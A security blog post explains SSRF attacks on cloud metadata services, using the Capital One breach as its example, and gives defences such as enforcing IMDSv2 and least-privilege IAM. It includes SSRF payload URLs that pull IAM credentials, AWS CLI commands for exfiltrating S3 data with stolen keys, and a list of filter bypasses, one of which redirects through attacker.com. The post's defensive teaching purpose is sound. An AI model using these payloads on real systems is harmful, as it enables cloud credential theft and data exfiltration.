August 17, 2026
SSRF in Cloud Environments: Metadata Services, Trust Boundaries, and Mitigations
Capital One. 2019. One SSRF. One endpoint at 169.254.169.254. 100 million customer records. $80 million fine. The attack was not exoticβ¦

By CYBER MIND SPACE
6 min read
Capital One. 2019. One SSRF. One endpoint at 169.254.169.254. 100 million customer records. $80 million fine. The attack was not exotic. That's the point.
The attack path reads like a masterclass in how cloud infrastructure can transform simple misconfigurations into critical vulnerabilities. The initial entry point was a misconfigured ModSecurity WAF running on an EC2 instance. Through the SSRF vulnerability, the attacker tricked the application into sending requests to AWS's metadata service, which freely provided the IAM role's credentials. With these credentials in hand, the attacker discovered they had hit the security equivalent of a royal flush β the IAM role had extensive permissions to access S3.
Traditional SSRF is dangerous. Cloud SSRF is in a different category.
On a traditional server, SSRF reaches internal HTTP services β admin panels, internal APIs, service discovery endpoints. Valuable. Bounded. On a cloud instance, SSRF reaches one additional endpoint that doesn't exist in any on-premise environment: 169.254.169.254. The Instance Metadata Service. And that endpoint hands out the credentials that control your entire cloud account.
As of December 2024, only 32% of EC2 instances have migrated to the more secure IMDSv2, leaving the vast majority of cloud infrastructure exposed to the same attack vectors that devastated Capital One.
Five years later. Same architecture. Same endpoint. Sitting open on 68% of EC2 instances worldwide.
πΊοΈ The IMDS Endpoint β What Lives at 169.254.169.254
The Instance Metadata Service is a link-local HTTP server that runs on every EC2 instance. It was designed to let applications running on the instance discover their own configuration β hostname, region, attached IAM role, security group. Legitimate use case. Essential for cloud-native applications.
WHAT IMDS RETURNS (IMDSv1 β no authentication required)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
GET http://169.254.169.254/latest/meta-data/
β Lists available metadata categories
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
β Returns: MyEC2Role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
β Returns:
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "wJalrXUt...",
"Token" : "AQoXnyc...",
"Expiration" : "2025-08-17T04:00:00Z"
}WHAT IMDS RETURNS (IMDSv1 β no authentication required)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
GET http://169.254.169.254/latest/meta-data/
β Lists available metadata categories
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
β Returns: MyEC2Role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
β Returns:
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "wJalrXUt...",
"Token" : "AQoXnyc...",
"Expiration" : "2025-08-17T04:00:00Z"
}No authentication. No special headers. No session token. Any process on the instance β including a web server fulfilling an SSRF request β can retrieve full IAM credentials in three HTTP calls.
CVSS profile: SSRF to cloud credential theft consistently scores 8.8β9.8 CVSS 3.1 in bug bounty reports due to the combination of network access, no authentication required, and high confidentiality impact.
The credentials are temporary β they rotate every few hours. That sounds like a mitigation. It isn't. The attacker exfiltrated Capital One's data in the window between credential issuance and expiration. Temporary credentials at scale, rotated automatically and handed out without authentication, are not a defense against an attacker who can read them continuously.
βοΈ The Full Attack Chain
SSRF β IMDS β CREDENTIALS β EXFILTRATION
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[1] Identify SSRF vector
Common parameters: url=, dest=, file=, redirect=, target=, uri=
Feature types: image proxy, PDF renderer, webhook validator,
URL preview, link checker, import from URL
[2] Send SSRF payload targeting IMDS
GET /fetch?url=http://169.254.169.254/latest/meta-data/
β Server fetches and returns metadata index
[3] Retrieve IAM role name
GET /fetch?url=http://169.254.169.254/latest/meta-data/
iam/security-credentials/
β "MyEC2Role"
[4] Retrieve credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/
iam/security-credentials/MyEC2Role
β AccessKeyId, SecretAccessKey, Token
[5] Enumerate IAM permissions
aws sts get-caller-identity --profile stolen
aws iam list-attached-role-policies --role-name MyEC2Role
[6] Exploit overpermissioned role
aws s3 ls --profile stolen
aws s3 sync s3://capital-one-customer-data . --profile stolen
β Full dataset exfiltratedSSRF β IMDS β CREDENTIALS β EXFILTRATION
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[1] Identify SSRF vector
Common parameters: url=, dest=, file=, redirect=, target=, uri=
Feature types: image proxy, PDF renderer, webhook validator,
URL preview, link checker, import from URL
[2] Send SSRF payload targeting IMDS
GET /fetch?url=http://169.254.169.254/latest/meta-data/
β Server fetches and returns metadata index
[3] Retrieve IAM role name
GET /fetch?url=http://169.254.169.254/latest/meta-data/
iam/security-credentials/
β "MyEC2Role"
[4] Retrieve credentials
GET /fetch?url=http://169.254.169.254/latest/meta-data/
iam/security-credentials/MyEC2Role
β AccessKeyId, SecretAccessKey, Token
[5] Enumerate IAM permissions
aws sts get-caller-identity --profile stolen
aws iam list-attached-role-policies --role-name MyEC2Role
[6] Exploit overpermissioned role
aws s3 ls --profile stolen
aws s3 sync s3://capital-one-customer-data . --profile stolen
β Full dataset exfiltratedThe blast radius at step 6 is entirely determined by what the IAM role was allowed to do. Capital One's role had broad S3 access. A role scoped only to the permissions the application genuinely needs β read access to one specific bucket β would have reduced the blast radius to near zero.
Two independent failures. SSRF was one. The overpermissioned IAM role was the other. Either fix would have stopped the breach. Neither was in place.
βοΈ Every Cloud Provider Has This Surface β With Variations
AWS is the most documented, but every major cloud provider runs an IMDS equivalent.
CLOUD METADATA ENDPOINTS AND THEIR DEFENSES
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
AWS (IMDSv1)
URL: http://169.254.169.254/latest/meta-data/
Auth: None β the problem
Defense: Enforce IMDSv2 (PUT token required before GET)
AWS (IMDSv2)
URL: Same
Auth: PUT /latest/api/token with TTL header first
GET requests must include the returned token
SSRF: Most SSRF vulnerabilities only allow GET
β cannot complete the PUT β IMDSv2 blocks them
Azure
URL: http://169.254.169.254/metadata/instance?api-version=2021-02-01
Auth: Requires header: Metadata: true
Defense: Most basic SSRF cannot add custom headers
β Azure's requirement blocks simple SSRF
GCP
URL: http://metadata.google.internal/computeMetadata/v1/
Auth: Requires header: Metadata-Flavor: Google
Defense: Same pattern β header requirement stops header-blind SSRF
DigitalOcean
URL: http://169.254.169.254/metadata/v1
Auth: None
Note: Credentials exposure depends on droplet role assignmentCLOUD METADATA ENDPOINTS AND THEIR DEFENSES
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
AWS (IMDSv1)
URL: http://169.254.169.254/latest/meta-data/
Auth: None β the problem
Defense: Enforce IMDSv2 (PUT token required before GET)
AWS (IMDSv2)
URL: Same
Auth: PUT /latest/api/token with TTL header first
GET requests must include the returned token
SSRF: Most SSRF vulnerabilities only allow GET
β cannot complete the PUT β IMDSv2 blocks them
Azure
URL: http://169.254.169.254/metadata/instance?api-version=2021-02-01
Auth: Requires header: Metadata: true
Defense: Most basic SSRF cannot add custom headers
β Azure's requirement blocks simple SSRF
GCP
URL: http://metadata.google.internal/computeMetadata/v1/
Auth: Requires header: Metadata-Flavor: Google
Defense: Same pattern β header requirement stops header-blind SSRF
DigitalOcean
URL: http://169.254.169.254/metadata/v1
Auth: None
Note: Credentials exposure depends on droplet role assignmentAzure and GCP made a deliberate architectural decision: require a custom header that SSRF cannot trivially provide. Most SSRF vulnerabilities forward the URL and follow the response β they don't add arbitrary request headers. That single design choice stops the majority of SSRF-to-IMDS attacks on Azure and GCP without any application-level mitigation.
AWS's IMDSv2 uses the same principle in a different form: require a PUT request with a TTL header before issuing a session token, then require that token on all subsequent GET requests. This configuration blocks SSRF attacks that cannot send PUT requests or custom headers.
π Why URL Filtering Is Not the Defense
The natural first response to "SSRF can reach 169.254.169.254" is "block 169.254.169.254 in the URL validator." This doesn't work.
URL FILTER BYPASS TECHNIQUES
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Target: block http://169.254.169.254/
Bypasses:
http://169.254.169.254.nip.io/ β DNS resolves to 169.254.169.254
http://2852039166/ β decimal IP notation
http://0xA9FEA9FE/ β hex IP notation
http://169.254.169.254%2F β URL encoding
http://[::ffff:169.254.169.254]/ β IPv6 notation
http://attacker.com/ β 301 β 169.254.169.254 β redirect chain
DNS rebinding: resolve to valid IP, then resolve to 169.254.169.254
(between validation and request execution)URL FILTER BYPASS TECHNIQUES
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Target: block http://169.254.169.254/
Bypasses:
http://169.254.169.254.nip.io/ β DNS resolves to 169.254.169.254
http://2852039166/ β decimal IP notation
http://0xA9FEA9FE/ β hex IP notation
http://169.254.169.254%2F β URL encoding
http://[::ffff:169.254.169.254]/ β IPv6 notation
http://attacker.com/ β 301 β 169.254.169.254 β redirect chain
DNS rebinding: resolve to valid IP, then resolve to 169.254.169.254
(between validation and request execution)The March 2025 F5 Labs campaign didn't find a new vulnerability. It ran from March 13 to March 25, rotating six query parameter names β url, dest, file, redirect, target, uri β across thousands of EC2-hosted targets. This wasn't a researcher finding a single vulnerable WAF. It was automated infrastructure scanning the internet for any SSRF on any EC2 instance still running IMDSv1. The Capital One technique, industrialized.
Attackers don't need novel bypasses when the parameter names cycle through six standard variations and 68% of targets are still on IMDSv1. The filter needs to be perfect. The attacker needs to find one bypass. The economics are not in the defender's favor.
π Third-Party Software Brings SSRF to Your Instance
You don't have to write the SSRF yourself. Fortinet observed a surge in AWS credential compromises traced to Grafana SSRF vulnerabilities. Approximately 14% of environments they monitor run Grafana versions within the affected range. CVE-2025β4123, when chained with the Grafana Image Renderer plugin, escalates to a full-read SSRF β putting IMDS credentials in reach on any EC2 instance without IMDSv2.
CVE-2021β21311 in Adminer β a database management tool many teams install during development and forget to remove β let attackers use a 301 redirect relay to exfiltrate IMDS credentials. The application team didn't write a URL fetcher. Adminer did. Their EC2 instance had an IAM role. The credentials were there.
This is the trust boundary problem in practice. Every library, every tool, every piece of software running on an EC2 instance that makes outbound HTTP requests is a potential SSRF vector into IMDS. The instance doesn't know which process made the request. It returns credentials to whoever asks.
π‘οΈ Defensive Guidance β The Controls That Actually Work
Layer 1 β Enforce IMDSv2 (stops the majority of SSRF-to-IMDS)
# Enforce IMDSv2 at instance launch
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 2 \
--http-endpoint enabled
# Set hop limit to 2 for containerized environments
# (hop-limit 1 prevents container β host β IMDS chains)
# Enforce IMDSv2 as account-level default (AWS Organizations)
aws ec2 modify-instance-metadata-defaults \
--http-tokens required# Enforce IMDSv2 at instance launch
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 2 \
--http-endpoint enabled
# Set hop limit to 2 for containerized environments
# (hop-limit 1 prevents container β host β IMDS chains)
# Enforce IMDSv2 as account-level default (AWS Organizations)
aws ec2 modify-instance-metadata-defaults \
--http-tokens requiredLayer 2 β Least-privilege IAM roles (limits blast radius when SSRF succeeds)
OVERPERMISSIONED (Capital One pattern)
IAM role: s3:GetObject on *
Blast radius: entire account's S3 data
LEAST-PRIVILEGE (correct)
IAM role: s3:GetObject on arn:aws:s3:::app-bucket/uploads/*
Blast radius: only /uploads/ prefix of one bucketOVERPERMISSIONED (Capital One pattern)
IAM role: s3:GetObject on *
Blast radius: entire account's S3 data
LEAST-PRIVILEGE (correct)
IAM role: s3:GetObject on arn:aws:s3:::app-bucket/uploads/*
Blast radius: only /uploads/ prefix of one bucketLayer 3 β Defense-in-depth controls
ControlWhat It StopsIMDSv2 enforced (HttpTokens=required)SSRF GET requests can't retrieve credentialsHop limit = 1 (adjust to 2 for containers)Prevents relay and redirect chains reaching IMDSLeast-privilege IAM rolesLimits damage if SSRF + IMDS succeedsOutbound network ACL blocking 169.254.169.254Belt-and-suspenders: blocks at network layerSSRF-aware WAF rulesCatches parameter-level exploitation attemptsAllowlist-only outbound URL fetchingRestricts which destinations SSRF can reach
The correct layering: enforce IMDSv2 so that SSRF cannot complete the credential retrieval even if it reaches IMDS, and apply least-privilege IAM roles so that even a successful credential retrieval yields minimal permissions. Two independent controls. Either one would have stopped Capital One.
π TL;DR
β Cloud SSRF is categorically more dangerous than traditional SSRF because 169.254.169.254 returns IAM credentials to any process on the instance β no auth, no headers, three HTTP calls. β Capital One 2019: SSRF on a misconfigured WAF + overpermissioned IAM role = 100M records, $80M fine. β 68% of EC2 instances were still on IMDSv1 as of December 2024 β the same architecture that failed Capital One. β March 2025: F5 Labs documented an automated campaign industrializing the Capital One technique, rotating 6 parameter names across thousands of targets. β URL filters don't work β decimal IPs, hex encoding, IPv6, redirect chains, DNS rebinding all bypass them. β Fix: enforce IMDSv2 (HttpTokens=required). Scope IAM roles to minimum permissions. Both. Not one.
References
- Capital One Data Breach β July 2019. SSRF via WAF misconfiguration on EC2. 100M+ records. $80M OCC fine.
- F5 Labs β Coordinated SSRF β IMDSv1 campaign, March 13β25, 2025
- CVE-2021β21311 β Adminer SSRF, UNC2903 campaign, AWS IMDS credential exfiltration
- CVE-2025β4123 β Grafana + Image Renderer full-read SSRF, EC2 IMDS exposure
- HackerOne reports β US DoD and DuckDuckGo IMDS-related findings
- AWS Documentation β IMDSv2 enforcement, HttpTokens, HttpPutResponseHopLimit
- Wiz Academy β SSRF in Cloud Environments
- OWASP SSRF Prevention Cheat Sheet β URL validation bypass techniques
- AquilaX β "SSRF to AWS Credential Theft via IMDSv1" (March 2026)
- hackaws.cloud β "The Capital One Breach, Seven Years Later: The Blast Radius Problem"